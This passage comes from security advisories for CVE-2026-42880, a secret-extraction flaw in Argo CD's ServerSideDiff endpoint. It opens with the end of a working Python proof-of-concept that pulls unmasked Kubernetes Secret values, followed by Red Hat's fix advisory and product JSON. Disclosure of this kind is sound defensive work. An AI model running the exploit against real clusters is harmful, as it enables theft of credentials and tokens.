return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n    if len(sys.argv) != 5:\n        print(\"Usage: python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\")\n        sys.exit(1)\n\n    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n    conn = make_conn(host)\n\n    # step 1: list managed resources for the app, find secrets\n    print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n    data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n    if err:\n        print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n    secrets = []\n    for r in data.get(\"items\", []):\n        if r.get(\"kind\") != \"Secret\":\n            continue\n        name = r.get(\"name\", \"\")\n        ns = r.get(\"namespace\", \"\")\n        live = r.get(\"liveState\", \"\")\n        stype = \"Opaque\"\n        if live and live != \"null\":\n            try:\n                stype = json.loads(live).get(\"type\", \"Opaque\")\n            except Exception:\n                pass\n        secrets.append((name, ns, stype, live))\n\n    if not secrets:\n        print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n    print(\"[+] Found %d secrets\" % len(secrets))\n\n    # step 2: call ServerSideDiff for each secret\n    total_extracted = 0\n    for sname, sns, stype, live_json in secrets:\n        # build minimal target manifest (no data field)\n        target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n                  \"metadata\": {\"name\": sname, \"namespace\": sns},\n                  \"type\": stype}\n\n        # copy required annotations from live state for SA tokens\n        if live_json and live_json != \"null\":\n            try:\n                live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n                k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n                if k8s_annots:\n                    target[\"metadata\"][\"annotations\"] = k8s_annots\n            except Exception:\n                pass\n\n        # for TLS secrets, include required placeholder keys\n        if stype == \"kubernetes.io/tls\":\n            target[\"data\"] = {\n                \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n                \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n            }\n        elif stype == \"kubernetes.io/dockerconfigjson\":\n            target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b\u0027{\"auths\":{}}\u0027).decode()}\n\n        # encode the grpc request\n        lr = b\"\"\n        lr += encode_str(2, \"Secret\")       # kind\n        lr += encode_str(3, sns)             # namespace\n        lr += encode_str(4, sname)           # name\n        if live_json:\n            lr += encode_str(6, live_json)   # liveState\n        lr += encode_bool(12, True)          # modified\n\n        query = encode_str(1, app_name)\n        query += encode_str(3, project)\n        query += encode_bytes(4, lr)\n        query += encode_str(5, json.dumps(target))\n\n        # reconnect for each call (simple, no pool needed for poc)\n        try:\n            conn = make_conn(host)\n            resp_data, err = grpc_post(conn, token, query)\n        except Exception as e:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, e))\n            continue\n        if err:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, err))\n            continue\n\n        # parse response\n        resp_fields = decode_fields(resp_data)\n        for item_bytes in resp_fields.get(1, []):\n            if not isinstance(item_bytes, bytes):\n                continue\n            ifields = decode_fields(item_bytes)\n\n            # field 5 = targetState (predictedLive \u2014 has real values from etcd)\n            for raw in ifields.get(5, []):\n                if not isinstance(raw, bytes):\n                    continue\n                try:\n                    obj = json.loads(raw)\n                except Exception:\n                    continue\n                if obj.get(\"kind\") != \"Secret\":\n                    continue\n                secret_data = obj.get(\"data\", {})\n                if not secret_data:\n                    continue\n\n                # check for real (non-masked) values\n                real_keys = {}\n                for k, v in secret_data.items():\n                    if not v:\n                        continue\n                    if all(c == \"+\" for c in v):\n                        continue  # masked by argocd\n                    try:\n                        decoded = base64.b64decode(v)\n                        text = decoded.decode(\"utf-8\", errors=\"replace\")\n                    except Exception:\n                        continue\n                    if all(c == \"+\" for c in text) and text:\n                        continue  # masked (base64 of +++...)\n                    real_keys[k] = text\n\n                if real_keys:\n                    total_extracted += 1\n                    print(\"\\n  [***] %s/%s  (%s)\" % (sns, sname, stype))\n                    print(\"        %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n                    for k in sorted(real_keys):\n                        v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n                        if len(v) \u003e 120:\n                            v = v[:120] + \"...\"\n                        print(\"          %s: %s\" % (k, v))\n\n    print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.",
  "id": "GHSA-3v3m-wc6v-x4x3",
  "modified": "2026-05-11T13:30:01Z",
  "published": "2026-05-07T01:56:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42880"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction"
}

RHBA-2026:12433

Vulnerability from csaf_redhat - Published: 2026-04-30 17:40 - Updated: 2026-05-19 16:59

Summary

Red Hat Bug Fix Advisory: Red Hat OpenShift GitOps v1.20.3 bug fix and enhancement update

Severity

Important

Notes

Topic: Red Hat OpenShift GitOps v1.20.3 bug fix and enhancement update

Details: An update is now available for Red Hat OpenShift GitOps. Bug Fix(es) and Enhancement(s): * GITOPS-9699 (CVE-2026-42880 Kubernetes Secret Extraction via ArgoCD ServerSideDiff [gitops-1.20])

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2026-42880

A flaw was found in Argo CD, a GitOps continuous delivery tool for Kubernetes. A missing authorization and data-masking gap in the ServerSideDiff endpoint allows an attacker with read-only access to extract sensitive Kubernetes Secret data. This information disclosure occurs by leveraging the Kubernetes API server's Server-Side Apply dry-run mechanism, potentially exposing critical configuration and credentials.

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE-201 - Insertion of Sensitive Information Into Sent Data

Affected products

Fixed 4 products

Product	Version	Remediation
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64	—	Vendor Fix fix Workaround

Known not affected 37 products

Product	Version	Remediation
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le	—	Workaround
Unresolved product id: Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64	—	Workaround

Threats

Impact Important

References

9 references

URL	Category
https://access.redhat.com/errata/RHBA-2026:12433	self
https://docs.redhat.com/en/documentation/red_hat_…	external
https://github.com/argoproj/argo-cd/security/advi…	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2026-42880	self
https://bugzilla.redhat.com/show_bug.cgi?id=2467882	external
https://www.cve.org/CVERecord?id=CVE-2026-42880	external
https://nvd.nist.gov/vuln/detail/CVE-2026-42880	external
https://github.com/argoproj/argo-cd/security/advi…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Red Hat OpenShift GitOps v1.20.3 bug fix and enhancement update",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "An update is now available for Red Hat OpenShift GitOps.  \n\nBug Fix(es) and Enhancement(s):  \n* GITOPS-9699 (CVE-2026-42880 Kubernetes Secret Extraction via ArgoCD ServerSideDiff [gitops-1.20])",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHBA-2026:12433",
        "url": "https://access.redhat.com/errata/RHBA-2026:12433"
      },
      {
        "category": "external",
        "summary": "https://docs.redhat.com/en/documentation/red_hat_openshift_gitops/1.20/",
        "url": "https://docs.redhat.com/en/documentation/red_hat_openshift_gitops/1.20/"
      },
      {
        "category": "external",
        "summary": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3",
        "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhba-2026_12433.json"
      }
    ],
    "title": "Red Hat Bug Fix Advisory: Red Hat OpenShift GitOps v1.20.3 bug fix and enhancement update",
    "tracking": {
      "current_release_date": "2026-05-19T16:59:01+00:00",
      "generator": {
        "date": "2026-05-19T16:59:01+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "4.8.0"
        }
      },
      "id": "RHBA-2026:12433",
      "initial_release_date": "2026-04-30T17:40:28+00:00",
      "revision_history": [
        {
          "date": "2026-04-30T17:40:28+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-05-05T03:45:35+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-05-19T16:59:01+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat OpenShift GitOps 1.2",
                "product": {
                  "name": "Red Hat OpenShift GitOps 1.2",
                  "product_id": "Red Hat OpenShift GitOps 1.2",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:openshift_gitops:1.20::el9"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat OpenShift GitOps"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argo-rollouts-rhel9@sha256%3A58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941989"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-rhel9@sha256%3Af393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942799"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-agent-rhel9@sha256%3A66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942647"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-extensions-rhel9@sha256%3Abcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941720"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/argocd-image-updater-rhel9@sha256%3Ab06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941836"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/console-plugin-rhel9@sha256%3Ad126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942778"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/dex-rhel9@sha256%3A6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941552"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9@sha256%3A776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941765"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-rhel9-operator@sha256%3Ae766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776942498"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/gitops-operator-bundle@sha256%3A407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776947959"
                  }
                }
              },
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64",
                "product": {
                  "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64",
                  "product_id": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64",
                  "product_identification_helper": {
                    "purl": "pkg:oci/must-gather-rhel9@sha256%3Adf5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263?arch=amd64\u0026repository_url=registry.redhat.io/openshift-gitops-1\u0026tag=1776941318"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "amd64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
                "product": {
